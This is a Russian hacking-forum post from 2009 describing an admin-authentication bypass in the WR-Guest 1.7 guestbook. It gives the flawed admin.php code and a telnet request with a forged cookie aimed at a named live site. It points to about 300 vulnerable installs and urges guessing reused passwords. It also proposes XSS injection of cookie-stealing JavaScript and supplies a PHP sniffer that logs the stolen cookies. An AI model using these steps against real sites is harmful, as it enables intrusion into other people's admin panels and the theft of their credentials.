Описание уязвимости гостевой книги WR-Guest 1.7

Discussion in 'Уязвимости' started by zlo9999, 28 Aug 2009.

  1. zlo9999

    zlo9999 New Member

    Joined:
    11 Jun 2009
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Описание уязвимости гостевой книги WR-Guest 1.7

    В первую очередь описание данной уязвимости будет полезно для начинающих, оно не будет интересно продвинутым челам и не является предлогом к действиям запрещенными законами РФ.

    Скрипт был написан 07.01. В каком состоянии был автор я незнаю, но точно не в трезвом.))

    Основы

    Итак, Cookie — это именованная порция (довольно небольшая) информации, которая может сохраняться прямо в настройках браузера пользователя между сеансами. Причина, по которой применяются Cookies — большое количество посетителей вашего сервера, а также нежелание иметь нечто подобное базе данных для хранения информации о каждом посетителе. Поиск в такой базе может очень и очень затянуться (например, при цифре миллион гостей в день он будет отнимать львиную долю времени), и, в то же время, нет никакого смысла централизованно хранить столь отрывочные сведения. Использование Cookies фактически перекладывает задачу на плечи браузера, решая одним махом как проблему быстродействия, так и проблему большого объема базы данных с информацией о пользователе. Самый распространенный пример применения Cookies — логин и пароль пользователя, использующего некоторые защищенные ресурсы вашего сайта. Эти данные, конечно же, между открытиями страниц хранятся в Cookies, для того чтобы пользователю не пришлось их каждый раз набирать вручную заново.

    Котеров Д. В.
    Самоучитель PHP 4


    +++++/Поехали /+++++

    Сама уязвимость данной гостевой книги и заключается в неправильной проверке куки, а точнее в отсутствии ее вообще. Вот участок бажного кода файла admin.php:

    PHP
    Code:
    if (!isset($_COOKIE['gbcookies'])) { // проверка на куки
    if (!isset($_POST['name']) & !isset($_POST['pass'])) {
    /*вывод формы ввода пароля*/;
    exit;}
    ...
    // Сверяем введённое имя/пароль с заданным в конфиг файле
    if ($name==$adminname & $pass==$adminpass) {
    $tektime=time();
    $gbcookies="$adminname|$adminpass|$tektime|";
    setcookie("gbcookies", $gbcookies, time()+300);
    Header("Location: admin.php"); exit;}
    print "$back Ваш данные НЕ верены!"; exit;
    } 
    // Авторизация пройдена успешно 
    
    else {$gbc=$_COOKIE['gbcookies']; $gbc=explode("|", $gbc); $gbname=$gbc[0];$gbpass=$gbc[1];$gbtime=$gbc[2];} 
    В этом участке проверяется установлены ли куки, если их нет то скрипт выводит форму ввода пароля,а если они есть, то нас пустят в админку, при этом в скрипте не сравнивается значение пароля в кукисах с паролем в конфиге. Т.е. достаточно отправить скрипту куки gbcookies с любым значением и мы в админке!

    #Exploit

    Первым делом на ум приходит прителнетиться к хосту и запросить страницу, не забыв отправить куки.

    Code:
    telnet wr-script.ru 80
    ... ждем коннект...
    GET /guest/admin.php HTTP/1.1
    Host: wr-script.ru
    Cookie: gbcookies=1|admin|12345678|
    Enter
    Enter
    Получаем страницу админки, где можно увидеть пароль админа(admin.php?pswrd=admin). Спрашивается зачем передавать пароль через GET переменную, если есть куки, да еще в открытом виде?! В итоге мы имеем 300 уязвимых гостевых (по запросу в рамблере), если учесть, что некоторые админы ставят одинаковые пароли на разные скрипты, то еще и форумы получим. Или есть пароль на гостевуху adminguest, то методом дедукции разгадаем пароль к форуму(adminforum). Для более наглых можно впихнуть в текст приветствия гостевухи javascript, который будет отправлять куки на ваш снифер:
    PHP
    Code:
    Мини снифер:
    // if(isset($_GET['a']) && !empty($_GET['a'])){
    $f=fopen("log.txt","a");
    fputs($f,$_GET['a']."\n");
    fclose($f);
    }
    ?>// 
     
    3 people like this.